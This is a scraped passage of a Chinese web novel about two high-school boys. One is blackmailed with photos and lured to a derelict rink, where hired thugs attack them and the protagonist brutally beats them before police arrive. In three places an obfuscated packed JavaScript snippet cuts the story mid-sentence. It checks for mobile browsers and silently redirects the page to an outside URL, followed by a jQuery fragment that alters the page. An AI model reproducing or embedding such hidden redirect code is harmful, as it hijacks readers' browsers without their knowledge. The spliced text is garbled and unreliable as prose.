用手背胡乱蹭掉嘴角的水渍,他没接周君珩关于“以前”的话茬。
周君珩也没指望他答,很自然地在褚亭玉旁边隔了一拳的距离坐下。自己那瓶水没动,就捏在手里,眼睛瞟着操场上踢球的人群,像是随口闲聊。
“查过了。”他开口,视线没转回来,“那个IP地址,西街后巷里,叫‘龙翼’的一个小网吧。”他顿了顿,“那地方开机不用身份证。摄像头装是装了,但是个摆设,老板说从来没开过。”
线索到这里,算是彻底断了。
褚亭玉“嗯”了一声,表示听到了。他本来对这事也不在意,自然谈不上失望。拧上瓶盖,水就搁在脚边的水泥地上。
周君珩侧过头看他。褚亭玉那反应,太平淡了,事不关己似的,倒显得他那点不甘心有点多余,好像就他一个人在这瞎较劲。
周君珩刚想再说点什么,就听见一声手机震动的闷响,嗡嗡的。
褚亭玉动作顿了一下,从校服裤带里摸出个老款手机。显示一条新短信,发件人是一串没名没姓的数字。
周君珩瞥见那手机,下意识挑眉,带着点调侃:“行啊你,胆子够肥,学校也敢揣着?”说完,挺自觉地移开眼。
“嗯嗯,人赃俱获。”褚亭玉按开收件箱,头都没抬,声音淡淡的,“好学生,你可以直接逮捕我。”
周君珩被他这罕见的冷幽默弄得微微一怔,嘴角不受控制地往上弯了一下,但很快注意到褚亭玉盯着手机屏幕的时间有点长。
“怎么了?”周君珩又把脸转回来。
“没什么。”褚亭玉应着,拇指在按键上按了几下,像是看完了,“就是突然觉得,你这品学兼优的金字招牌,招的麻烦也挺实在的。”
这话没头没脑的,砸得周君珩又是一愣,完全没跟上思路,清隽的脸上写满了真实的困惑:“......什么麻烦?”
褚亭玉看着他难得一见的懵样,心里的烦躁冲淡了一些。懒得解释,他直接把手机屏幕转向周君珩:“喏,自己看。”
周君珩接过去,屏幕还停留在短信界面。他低头一扫,几条短信连着,措辞一条比一条激烈刺眼:
昨天那条:
【褚亭玉,别给脸不要脸!你以为删了帖子,攀上周君珩就万事大吉了?老子手里还有你在会所穿裙子的骚样,不想被学校开除就乖乖听话!】
最新一条,显示刚收到:
【就在这周末,穿上那你那身骚裙子,把周君珩约出来。具体时间等我信。敢耍花样,老子立马把照片匿名寄给教务处。也不知道你那老不死的姥姥受不受得住这刺激?想想清楚,听话点,我还能给你留点脸。周君珩?呵,平时装得人模狗样,背地里却好你这口。这种道貌岸然的伪君子,就该让他身败名裂!】
字里行间充满了怨毒、威胁,还有对周君珩近乎病态的嫉恨,几乎要溢出来。
周君珩的脸色瞬间沉了下来,他飞快扫完,看向褚亭玉:“这是谁?骚扰你多久了?”
“有几天了,不知道哪路神仙。”褚亭玉拿回手机,指尖在关机键上一按,屏幕黑了。
他一开始懒得理,直到两天前,这家伙不知道从哪摸到了原主姥姥的住址,把几张模糊却能辨认出是褚亭玉在会所工作的照片塞进门缝。
老人这两天看他的眼神都变了,忧心忡忡,欲言又止,反复问他是不是缺钱,出门前还硬往他手里塞几张皱巴巴的票子,让他千万别去那种地方,要安心读书。
看着老人眼里浓的化不开担忧和小心翼翼不敢多问的惶恐,褚亭玉才真正动了火气。他直接拨了那个号码过去,对方秒挂,再打就是关机。
这反而坐实了他的猜测。对方是他认识的人,而且就在身边。
现在,眼见周末迫近,他这边毫无反应,对方显然是急了。
“报警?”周君珩提议。
“不急。”褚亭玉把手机塞回裤兜,半开玩笑道,“劝你离我远点,这才多久,就摊上事了。”
听他这么说,周君珩心中不满,但他还是说:“我帮你。”
意外的是,褚亭玉没一口拒绝,但也没全盘接受。
“行。”他站起身,拍了拍裤子上的灰尘,阳光透过树叶缝隙,在他脸上落下晃动的光斑,“不过,先按他说的,我约你。地点我来问,你别管。”
周君珩还想说什么,但褚亭玉眼神里的坚持让他把话咽了回去,只能退一步:“......好。”
放学的时候,那个号码的短信又来了。褚亭玉盯着屏幕,冷着脸敲字:
【好,我答应你。但地点必须我挑,人多眼杂的地方我做不到。】
对方显然对他刻意强调的“人多眼杂”嗤之以鼻,或者说,警惕性极高:
【少废话!地点我定,到时候按我说的路线走就行。记住,穿上裙子,别一个人来,周君珩必须到场!】
真欠。褚亭玉挑了下眉,不是很在意,接着回:
【知道了。周君珩那边我会想办法,但别指望他随叫随到。】
晚饭桌上,老人又问起学校的事。褚亭玉含糊了两句,没糊弄过去,干脆闭了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871359|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴。
洗漱完躺上床,手机震动了一下。褚亭玉以为是那阴魂不散的玩意儿,懒得理,翻了个身。
没过几秒,又震了一下。
没完了是吧?他长臂一捞,把手机抓过来。
发短信的也是一串数字,但这是个新号码。
今天体育课快散的时候,周君珩问他要了联系方式。
【睡了吗?】
【那人又说什么没有?】
他拇指按着硬邦邦的按键,挨个干巴巴地回:【还没睡。没说。】
几乎是立刻,手机又震了:【不然还是我跟你一起去吧。】
褚亭玉回:【你在场,他不一定现身。】
这是实话,对方明显忌惮周君珩,估计就想拍两张两人的同框照片,借褚亭玉这诱饵,来搞臭周君珩的名声。
消息发出去,那边陷入了长久的沉默。手机屏幕的光暗了下去,房间里只剩下窗外隐约的虫鸣。褚亭玉把手机扔回枕边,闭上眼,脑子里却忍不住转:接二连三地被拒绝,不高兴了?
就在他以为对方不会再回,准备翻个身强迫自己入睡时,枕头底下传来一声极轻微的震动。
他又摸出手机。
看清那行字时,褚亭玉的手指顿住了。
【真的要穿裙子吗?】
书桌前,握着手机的周君珩,心跳没来由地快了两拍。这条消息刚发出去,他立刻就后悔了。
他有点烦躁地把手机丢在书桌上,屏幕朝下。但很快,另一种更强烈的情绪猛地窜上来。
是对那个躲在暗处威胁褚亭玉的混蛋的怒火,也是为褚亭玉不得不承受这种屈辱的憋屈。
褚亭玉穿女装......周君珩脑子里不受控制地闪过一些模糊的画面,随即又被强烈的道德感和愤怒冲得七零八落。
他觉得自己这心情变得太快,简直莫名其妙,又酸又涩还拱着火气,搅得他坐立难安。
他盯着毫无动静的手机,感觉时间被拉得很长。既怕褚亭玉觉得被冒犯而生气,心底又隐隐盼着点什么回应。
这种拧巴劲,他自己都觉得陌生。
终于,手机轻轻一震。周君珩几乎是瞬间抓了起来。
屏幕上只有四个字:【明天再说。】
这模凌两可的回答......周君珩猜不透褚亭玉现在什么心情。他不敢再追问,立刻敲下回复:
【好。有事,随时找我。】
发送成功。他盯着手机,等了一会,屏幕再次暗下去,房间里只剩下他自己的呼吸声。
周君珩向后靠进椅背,心里那点说不清道不明的空落落,一点点弥漫开。
又过了不知多久,窗外的夜色更深了。他目光从摊开的书本上移开,拿起手机,手指在键盘上徘徊了片刻,最终还是带着点试探的意味,发了过去。
【睡觉了,晚安。】
直到周君珩洗漱完毕,躺进被窝,把手机放在枕边。困意像潮水一样漫上来,意识渐渐模糊,枕边的手机也始终没有动静。
15.第 15 章
天际泛着橘红,暑气未消。
褚亭玉斜倚在窗边,面无表情地看完刚才跳出来的短信。手指在按键上磨蹭着,却不是回复,而是切到另一个号码,慢腾腾地戳出一行字。
做完这些,他把手机揣回兜里。
“姥姥,”他走到厨房门口,对正在忙碌的老人说,“晚饭我不在家吃了,有点事出去一趟,晚点回。”
老人闻声,湿漉漉的手在围裙上胡乱一抹,转过身,浑浊的眼珠里立刻漫上忧色,嘴唇动了动,终究没问。她默默走到角落,从一个小铁盒里摸出几张卷了毛边的钞票,不由分说地塞进褚亭玉手里。
“拿着拿着,还没吃呢,路上垫巴点。”
“姥姥,我不用钱。”褚亭玉想把钱推回去。
“要的,拿着。”老人枯瘦的手异常有力,推搡着他的掌心,“快去,别耽误事,路上当心点。”
褚亭玉不再坚持,低低应了一声,转身推门出去。
走下两层楼梯,他在拐角处蓦地停住,低头看着手里皱巴巴的钱,老人那双忧心忡忡的眼睛在脑中闪过。
退学?他其实无所谓。可如果是因为那些照片被开除,照片再被散得到处都是......
她会是什么反应?失望?伤心?还是更深的自责?
褚亭玉可以不在乎这点威胁,但敢把算盘打到老人头上,还妄想拖周君珩下水。这笔账,得加倍讨回来。
他几步跨回门前,掏出钥匙。
门开,老人正端着菜出来,见他去而复返,一脸惊讶:“咋回来了?落东西了?”
“嗯。”褚亭玉含糊地应着,闪进自己房间。片刻后出来,手里多了个扎得严实的深色手提袋,看不出里面装的什么。
“走了,姥姥。”他再次拉开门。
巷口外,残阳的光线依旧有些刺眼。褚亭玉眯了下眼,脚步顿住。
几步开外,那棵虬枝盘错的歪脖子老榕树下,周君珩正靠着树干,显然等了有一会,双臂环胸,目光凝在巷口的方向。看到褚亭玉出现时,他身体明显站直了些。
褚亭玉眼底闪过一丝烦躁,脸上却没什么表情。他收回目光,像没看见这个人一样,脚步不停,直接越过周君珩往前走。
周君珩看了一眼他身上的校服,没作声,沉默地跟了上去,保持两步的距离。
夕阳把两道影子拉得又细又长,拖在地上,无声地交错。人行道上只剩下单调的脚步声,还有远处车流的嘈杂。
走了几分钟,褚亭玉突然转身,目光直刺周君珩:“你怎么知道我家?”
周君珩被他直白的诘问弄得有些尴尬,下意识先澄清:“我不是跟踪,也没查你。”视线飘开一瞬,又很快地转回来,“地址是找王老师要的,说......有点事找你。”他顿了顿,迎上那双审视的眼,干脆坦白:“我害怕你一个人去。”
褚亭玉确实是这么打算的,被戳穿也半点不尴尬。
他盯着周君珩。少年眼底那份坦荡的关切,像根细小的针,刺破了他心头因为对方一再主动插手而升腾的恼火。
他没接话,眼神复杂地看了周君珩一眼,转身继续走。
周君珩心下一沉,以为还是被拒绝。他快走两步跟上,脑子里飞快盘算着说服的措辞。
强调对方的目标也包括自己?保证绝不拖后腿?甚至......动用家里的关系,摆平这事不过一句话的事。
可这念头一闪,就被他自己按灭了。他了解褚亭玉。真这么干,别说领情,只怕那点本就稀薄的耐心,顷刻便会化作厌烦。
还没等他想好,前面的褚亭玉又一次毫无预兆地停下。
“在这等会。”褚亭玉没回头,侧脸丢下一句,走向不远处的公共卫生间。
周君珩一愣,刹住脚步,看着褚亭玉提着一个袋子消失在门后。
体育课那条短信的内容猛地跳进脑海:“穿上你那身骚裙子......”
他可能是去换衣服了?这般想,周君珩心跳失序地狂快起来,一股陌生又带着燥热的手足无措感瞬间攫住了他,连指尖都微微发麻。
公厕隔间的门被推开,褚亭玉走了出来,已经彻底换了模样。
天色基本暗沉,晚风吹过他裸露的小腿,卷起素白的裙摆又轻轻落下。裙子布料透着廉价感,款式也简单,裹在他高挑且尚未完全褪去少年单薄轮廓的身躯上。
他个子实在太高,远超出寻常女生的范畴。
裙摆堪堪及膝,底下露出一截笔直小腿。腿部线条利落流畅,紧绷的肌肉随着步伐起伏,在光影下若隐若现,带着不容错辨的力量感,与裙装的柔美格格不入,却又奇异地融合出一种清冽又脆弱的矛盾美感。
路灯昏黄的光晕如一层薄纱轻柔罩落,将他裸露的肌肤映得白到近乎透明,仿佛冷玉沁出的微光。乌黑的发丝长度刚及颈间,不算柔顺,带着点自然的微乱。黑是纯粹的黑,白是极致的白,对比强烈得惊心,干净得摄人心魄。
他抬起眼睑,藏在浓密睫毛下的一双眼睛,清亮亮的,像山涧里未染尘埃的泉水,瞬间便压住了这过分秾丽的容色,反而更勾人了。
不远处几个打闹的男生,嬉笑声戛然而止,目光黏在他身上,嘴巴微张,连滚远的篮球都忘了去捡。
褚亭玉对那些呆滞的目光视若无物,径直走向周君珩站立的地方。
周君珩看着褚亭玉一步步从昏昧光影深处走来,走到他近前。有那么一两秒,他屏息凝神,连心跳都仿佛被冻结。
他的目光在褚亭玉靠近的这几步里,全然失了章法,失焦地追着那个身影。从被风吹动的裙裾,到清削利落的下颌线,再到那双清冽的眼瞳。
直到对方近在咫尺,呼吸可闻,周君珩才如大梦初醒,眼皮飞快地眨动了一下,眼神有点慌地往路灯杆子上瞟,又觉得不妥,仓促地挪回来,最终只敢虚虚落在褚亭玉脸上。
风吹得裙子布料蹭着皮肤,那感觉怪得很。
陌生,滑腻。
褚亭玉浑身不自在,面上不露端倪。
周君珩这副看呆了又强装没事的傻样,全落在他眼里。心里那点别扭劲淡了些,褚亭玉眉梢微动,声音平平,带着点故意的促狭:
“看够了?”
没等周君珩从那三个字的揶揄里缓过神,褚亭玉紧跟着又往前逼了半步,声音压得更低:
“好看吗?”他顿了顿,眼神里带着点玩味,非要问个分明,“是现在好看,还是之前照片里好看?”
周君珩被他这连连珠炮似的逼问打得措手不及,
光是那句“好看吗”就让他心跳漏拍,后面追加的对比更是直接把他脑子炸成了空白。他几乎本能地,顺着褚亭玉的话,真的去回想那几张模糊照片里的影子。
照片?那怎么能比?
眼前的人是活的。皮肤在路灯下白得晃眼,几缕黑发不安分地贴在颈侧,那双眼睛清澈又带着不容闪躲的逼视,直直看进他眼底。一身再简单不过的白裙,穿在他身上,有着照片完全无法承载的冲击力,扑面而来,鲜活又霸道。
这个认知让他耳根烧得更厉害,周君珩使劲稳住自己乱飘的眼神,直直地回望过去。他开口,声音有点发紧,却异常直接:“现在。”他喉结滚动了一下,补充道,“现在更好看。”
褚亭玉被这直球的回答噎得呼吸一窒。预想中的窘迫闪避没出现,这小子居然真的一本正经做了比较,还给出一个让他意外的结论。那点刻意为之的逗弄像是撞上了棉花,反倒让自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896020|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有点接不上话。
他盯着周君珩的眼睛看了两秒,干净得像水洗过,此刻瞳孔里映着路灯的光点,也清晰无比地映出他自己穿着裙子的倒影。
忽然觉得有点没意思,也懒得再逗下去。
“嗯。”褚亭玉从鼻子里哼出一个单音。
他不再看周君珩,转身就走。周君珩几乎在他动的瞬间就抬脚跟了上去,这次没落后多少,几乎是并肩,只差了小半步。
两人的影子投在地上,拉得老长,挨得挺近。褚亭玉的影子略矮一些,周君珩的目光不受控制地微微垂着,落在地上那个随着褚亭玉步伐而轻轻摇曳的裙摆影子上。
夜风吹过,卷起一点裙角,影子在地上晃动了一下,那片虚影的裙摆边缘,若有似无地拂过周君珩影子的裤脚。他脚步没停,只是呼吸在那一下,放得极轻极缓。
走了一段,褚亭玉开口,声音在夜里挺清楚:“星光溜冰场后门,认路么?”他对这个地方没什么印象,既然周君珩非要跟来,当个导航正好。
周君珩没立刻应声,似乎还沉浸在某种微妙的出神里。
“问你话呢。”褚亭玉侧头,瞥了他一眼。
周君珩像是被他的声音从某个思绪里硬扯了出来,缓缓看向褚亭玉:“...星光溜冰场后门?”他重复了一遍,语气陡然沉了下去,“那个地方早废了。”
褚亭玉:“废了?”
“嗯,前两年的事了。”周君珩加快半步,与他并肩,“说是要开发,拆了一半仍那儿。白天都荒得很,晚上根本没人会去。”
两人目光在空中一碰,都嗅到了不对劲的气息。
褚亭玉眼神彻底冷了下来。他原本想着,对方挑个还在营业的溜冰场,无非是想制造点约会氛围,拍一些似是而非的亲密照片。现在看来,对方图的,显然不只是几张照片那么简单。
周君珩见他冷脸,皱眉问:“你不知道那地方废了?”他语气里的疑惑真实不虚。
“现在知道了。”褚亭玉随口应着,没法解释更多。
周君珩看他这副明知是坑也要踩的样子,没再吭声。褚亭玉这反应,在他意料之中。
他脚步不着痕迹地慢下半拍,手滑进裤兜,指尖在手机按键上快速盲按几下,一条信息悄无声息地发了出去。
两人已在废墟阴影边缘,铁锈味浓烈。
走在前面的褚亭玉也停下来,摸出手机,按键,举到耳边,声音冷静:
“喂,110吗?......对。地点是星光溜冰场后门这块,就那拆了一半的鬼地方......嗯。发现有人持械聚集......看着像钢管和棍子,也有可能带刀,人数不少,十几二十个吧......嗯,麻烦尽快,感觉随时要出事......好。”
说完,挂断。
一回头,正撞上周君珩看过来的目光。那眼神,是压不住的惊讶。
褚亭玉动作一顿,看着周君珩那表情,嘴角一点点向上弯起。不是冷笑,是个真实的、忍俊不禁的笑。夜色里,那笑意漾开,清冷的眼里像落了碎星,亮得惊人,明晃晃写着“不然呢?”。
周君珩被他这笑晃了一下,忘了移开眼,怔怔地看着褚亭玉脸上那抹罕见的鲜活笑意,看着那双亮得不寻常的眼睛,一时定在那里。
夜风更大了些,撩动褚亭玉额前碎发,牵起白裙一角,翩然翻飞。一弯月牙吝啬地垂落些微清辉,不偏不倚,映亮他含笑的侧脸。清辉流转间,愈发衬得那容颜清绝无双,恍若谪仙。
褚亭玉见他还在看,笑意更深了些,也不点破,只是收回目光,下巴朝废墟黑黢黢的深处扬了扬:“走吧,好学生。警察叔叔来之前,总得给人家留点证据。”语气轻松,仿佛不是去赴险,而是去逛个夜市。
16.第 16 章
“操!又他妈是老子输!”黄毛把几张零钱摔在破铁桶上,烦躁地抓着他那头枯草似的头发。
“急个卵?”坐他对面,脸上带疤的汉子把钱拢到面前,美美嘬了口烟:“人还没到,正好多刮你点烟钱。那小子不来,这钱就当孝敬疤哥我了。”
旁边一个胖子正嗦着辣条,满嘴油光,含糊问:“疤哥,真能来?这鬼地方......那戴眼镜的龟孙说话靠谱?别是耍咱?就为个端盘子的小崽子,值当跑这儿喂蚊子?”他小眼睛里全是不耐烦。
疤哥吐口烟圈:“谁知道那四眼仔葫芦里卖的什么药。神叨叨的,就说那小子肯定会为了啥照片的把柄,或者他那个相好......”他啐了一口,一脸嫌恶,“操!老大也是,玩啥不好,非他妈看上这么个不男不女的玩意儿?晦气!”
“相好的?”另一个精瘦得像猴子的男子嗤笑一声,“那小子上回差点给老大开瓢,他还敢有相好?还是......男的?”
“管他公的母的!”疤哥不耐烦打断,扑克牌在桶面摔得啪啪响,“老大躺医院里憋着火呢!把那小子堵这儿,狠狠修理一顿,拍点精彩的,回去老大肯定高兴!到时候......”他搓了搓手指,意思不言而喻。
“一个毛都没长齐的高中生,犯得着咱哥几个这么大阵仗。”黄毛撇着嘴,像吃了苍蝇,“这种喜欢男人的变态,打他都嫌脏手。”
“这话你最好别让老大听见。”疤哥不轻不重地踹了黄毛一下。
“我又不傻。”黄毛翻了个白眼。
胖子咽下辣条,抹了把油嘴:“可这都等多久了?天都黢黑了。别是那小子怂了不敢来吧?”
“再等等。”疤哥摁灭烟头,“来都来了,空手回去,脸往□□里塞?老大那儿怎么交代。”
几人一时都没了声响,只有蚊子嗡嗡围着人打转,烦得要命。
突然,一直靠墙闭目的矮汉子睁开眼:“来了。”
几双眼睛唰地一下亮起来,互相使了个眼色。
瘦猴反应最快,猫腰窜到断墙豁口边,踮脚往外瞅。昏暗中,两个人影正往这边走。
他缩回头,压着嗓子,透着兴奋,“俩!打头是个穿白裙子的女......”突然想起什么,“操,应该就是那小子!后面还跟了个男生。”
“管他几个,来了就别想囫囵个走!”疤哥狞笑,啐了口唾沫,“先围起来,逗逗狗!”
褚亭玉和周君珩刚走进一片空地,几道黑影就从四面围了上来。钢管敲在碎砖上砰砰作响,脚步声杂沓,带着恶意,转眼就将两人堵在了中间。
“哟呵,还真来了?还穿这么骚气。”瘦猴晃着手里的钢管,不怀好意地冲着褚亭玉比划,“瞧瞧这小腰细的,难怪老大惦记。可惜了,”他故意拉长调子,“是个带把儿的。”
旁边的胖子刚嗦完辣条,油手在裤子上蹭了蹭,跟着嘿嘿笑:“旁边这小白脸,皮相也不错嘛,也是个卖|屁|股的货?俩男的搞在一起,是挺够倒胃口的。”
“废他妈什么话!”疤脸汉子往前一步,吐掉嘴里的烟头,指着褚亭玉,“小子!老大看上你是你八辈子修来的福气,给脸不要脸,还敢动手?识相点,乖乖跟我们走,把老大伺候舒坦了,之前的事一笔勾销。”
周君珩眼神一厉,身形微动,一条手臂就横在了他身前,他动作一顿,侧头看去。
褚亭玉脸上看不出喜怒,眼皮半垂着。听这几句,清楚了几人的来路,可惜年纪都对不上他要找的人。
“惦记我?”褚亭玉用小指慢悠悠地掏了掏耳朵,对着指尖轻轻一吹,仿佛弹走什么脏东西,“他是嫌上次脑花开得不够漂亮?”他掀起眼皮,伸出食指,挨个点了过去,“一、二、三......”点到最后一个胖子时,停下,蹙起眉,“啧,怎么才五个?”
这帮混混本就是一点就着的炮仗性子,哪受得了这种当面羞辱?
“□□崽子找死!装你妈!”被那眼神看得浑身刺挠,黄毛第一个炸毛,抡起家伙就朝褚亭玉脑袋砸过去,“今儿不把你俩揍得跪下喊爹,老子跟你姓!”
“黄毛!别打脸!”疤哥急忙吼了一嗓子。
褚亭玉和周君珩几乎是同时动了手。两人显然都有底子,动作干净利落,没半点花架子。
眼看钢管砸下来,褚亭玉不退反进,侧身一让,残影擦身而过。他右手快如闪电,紧扣黄毛的手腕,顺势一拉一拧!
“啊!”
黄毛惨叫一声,钢管脱手落地,整个人被褚亭玉借力一摔,像个沙袋似的掼在地上,抱着明显脱臼的胳膊打滚哀嚎。
疤哥和胖子一看,立刻红着眼从两边扑上来。
另一边,周君珩避开瘦猴背后的偷袭,反手一记肘击撞在对方鼻梁上,瘦猴顿时满脸开花,鼻血眼泪糊了一脸。
周君珩没回头,脚步一错,已经拦在冲向褚亭玉的胖子面前,脚下巧妙一绊,同时旋身绕到他侧面,腰腿发力,提脚在他后腰眼上一蹬。
胖子那肥硕的身躯顿时失去平衡,像个失控的保龄球,直直撞向刚爬起来的瘦猴身上,两人撞作一团,狼狈地滚倒在地。
场面乱成一团。
就在这时,那个一直缩在后面没吭声的矮汉子动了。他动作最快,也是最阴。趁着褚亭玉刚踹开疤哥,重心还未完全稳住,悄无声息从褚亭玉侧后方贴地窜出。钢管挥出的角度又狠又刁,直劈褚亭玉毫无防备的后颈!
褚亭玉心头警铃大作,暗道不好。可这身体的反应终究慢了半拍。
一直分心留意他这边的周君珩,瞳孔骤然收缩。他根本来不及多想,硬生生扭过身体,用尽全力将褚亭玉往自己怀里一扯。同时右臂向上一架——
“嘭!”
一声沉重的闷响!
钢管带着棱角,结结实实砸在了周君珩的小臂上。
那声音听着都疼。
巨大的冲击力撞得周君珩身体一晃,脸色瞬间煞白,闷哼出声。他额角渗出冷汗,那条挡下致命一击的右臂,不受控制地剧烈颤抖起来。
千钧一发之际,刺耳的警笛声,由远及近。
“操!条子!”疤哥脸色大变,惊怒交加,“妈的!谁报的信?!撤!快他妈撤!”
五人顿时慌了神,哪还顾得上缠斗,只想赶紧溜之大吉,但地上几人越慌越爬不利索。
周君珩挨那一下的瞬间,褚亭玉周身暴戾的气息如同实质般炸开。他眼神沉得能滴出墨来,从周君珩怀里挣出来,目光沉沉压在刚伤了周君珩,正想往阴影里钻的矮汉子背影上。
矮汉子离得近,反应也快,转身拔腿就跑。
“跑?”褚亭玉的声音冷得像冰。
他一步跨出,手里不知何时已经抄起了掉在地上的钢管。
根本不给对方任何喘息的机会,褚亭玉手臂一挥,狠狠砸在矮汉子后膝窝!
矮汉子惨叫一声,扑倒在刚挣扎着爬起一点的黄毛脚下。黄毛被他这一撞,腿一软,又瘫坐下去。
褚亭玉脸上没什么表情,只有一股子骇人的冷意。他手里的钢管如雨点般落下,精准、狠辣,专挑关节和软肋招呼,每一次击打都伴随着骨头断裂般的脆响和矮汉子凄厉的惨嚎。
那狠劲,看得另外几人都噤了声,满眼只剩下恐惧。
直到黄毛被近在眼前的血腥场面吓得魂飞魄散,带着哭腔尖叫起来:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922575|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“别打了!哥!爷爷!饶命!饶命啊!求你了!”
褚亭玉的动作才猛地顿住。他微微喘息,身上慑人的煞气还没散干净。
黄毛看见褚亭玉很慢地歪过头,那双漆黑如墨的眼睛扫向自己,差点当场尿裤子,立刻死死捂住自己的嘴。
褚亭玉语速很慢,低低沉沉:“谁联系的你们?又是你们其中的谁,跟他接头?”
“是疤哥!都是疤哥!”黄毛毫不犹豫地指向后方,声音抖像筛糠,“那个戴眼镜的找的就是疤哥!”
褚亭玉丢开地上瘫软的两人,提着沾了点红色血迹的钢管,几步走到疤哥面前。
“手机。”褚亭玉说。
疤哥脸上又惊又怒,被这么一个年轻小子居高临下地命令,只觉得奇耻大辱,咬着牙不吭声。
褚亭玉眼神一寒,手中钢管毫无预兆地挥了下去。
“咔嚓!”
“啊——!!”
疤哥抱着自己扭曲变形的手腕,发出杀猪般的惨叫,整个人蜷缩成一团。
褚亭玉用钢管冰冷的前端,随意地戳了戳疤哥疼得痉挛的脸颊,重复道:“手机。”
疤哥彻底崩溃了,恐惧压倒了所有。他用没受伤的手哆嗦着从裤腿里摸出手机,扔在褚亭玉脚边。
褚亭玉弯腰捡起手机,对满地哀嚎的惨状视若无睹,大步走回到周君珩身边。
警笛声已经到了跟前,几道强光手电光柱刷刷地照过来。
褚亭玉脸上的戾气在看到周君珩时被强行压制下去,但眼底的寒意还是浓得吓人。他不由分说地抓起周君珩的右手,仔细查看伤势。
周君珩的右小臂外侧,已经肿起一大片触目惊心的青紫淤血,皮肤被钢管棱角刮破了好几道口子,正往外渗着细小的血丝。整条手臂不受控制地微微发颤,连带着周君珩的呼吸都有些不稳。
“怎么样?”褚亭玉的声音里那层冰壳子裂了条缝,透出点不易察觉的紧张。
“没事。”周君珩吸了口凉气,强压下手臂传来的剧痛,尽量让声音听起来平稳,“可能有点骨裂,不碍事。”
他试图抽回手,却被褚亭玉更紧地攥住。
警察迅速控制了现场。领头的警官三十出头,板寸头,眼神很利。他扫视一圈,目光落到周君珩身上时,猛地一凝。他走过来,看清周君珩捂着的手臂和苍白的脸色,脸色瞬间变了变,嘴唇微张,一个称呼就要脱口而出。
周君珩几乎是同时抬眼,冷冷地横了他一眼,无声却极具分量的警告。
警官反应很快,只脸上闪过一丝不自然,但很快恢复了公事公办的表情。
“警官,我们是受害者,被他们围堵袭击。”周君珩说的煞有其事,声音听着有点虚,但条理清晰,他另一只手安抚地拍了拍褚亭玉紧抓着他手臂的那只手,“我和我朋友,是被迫自卫。”
警官绷着脸点头,视线在周君珩身边的褚亭玉身上多停留了几秒。
地上几个人的惨状他尽收眼底,再看这张漂亮得过分的脸。要不是性别不对,活脱脱就是一出小年轻为美人争风吃醋的戏码。
他干了多少年刑警,眼毒得很,一眼就看出这是个男扮女装的少年。视线再落到两人紧挨着的手上,他眉毛几不可察地一挑,立刻挪开了脸。
他转向旁边的警员,沉声吩咐:“先把地上这几个铐起来,伤重的送医院处理。”
他顿了顿,再次转向周君珩和褚亭玉,语气缓和下来,“你们俩,尤其这位…小同学伤得不轻,是受害者。这样,先送你们去医院处理伤口,详细情况等伤情稳定了再做笔录。小李,你开车,送他们去市一院急诊,务必确保安全。”
17.第 17 章
等所有事情都处理完,时间已经很晚了。
周君珩右臂上缠着厚厚的白绷带,吊在胸前。医生捏着他的光片反复叮嘱:软组织严重挫伤,骨头还裂了道小缝,临走前又再三强调必须静养,容不得半点闪失。
他不知第几次将视线从车窗外飞速倒退的模糊光影中收回,落在旁边的褚亭玉身上。
褚亭玉一直低着头,摆弄疤哥那部旧手机。
从医院出来,这人就没说过话。他平时话就不多,但此刻的安静明显不同寻常。周君珩心里没底,隐约觉得这闷葫芦的状态,多半跟自己有关。
是怪他多事挡了那一下?还是看他受伤了心里过意不去?周君珩皱了皱眉,没再往下想。他这人顺风顺水惯了,身边的人不是客客气气就是哄着捧着,头一遭碰上褚亭玉这样油盐不进的人,想哄人却也笨拙得不知从何下手。
两人就这样沉默了一路,车窗外的霓虹灯划过又消失。眼看快到住处,周君珩觉得不能再这么沉默下去,但又找不到合适的话题。
终于,褚亭玉把手机收了起来。
“别担心。”周君珩看着他没什么表情的侧脸,适时开口,“警方那边应该很快会有消息。要不是对方多此一举,这背后的人还真不好揪出来。”
褚亭玉没立刻接话,先抬眼瞥了眼后视镜。镜子里偷瞄的年轻警官被逮个正着,慌忙移开视线。
他这才转头看向周君珩。目光在他吊着的胳膊上落了落,然后才用那副惯常听不出起伏的调子问:“到家了。你这伤,打算怎么跟家里说?”
“我一个人住。”周君珩回答得很快,意思是不用告诉父母。
褚亭玉的眉头立刻轻轻一皱,显然不认同:“还是说一声好。”声音比刚才沉了几分。
“真不用。”周君珩语气带了点急。他太清楚家里知道了会怎样,事情肯定会变得麻烦。几乎是本能地,他暂时还不想家里人知道褚亭玉的存在。至于是什么原因,他并不想去深究。
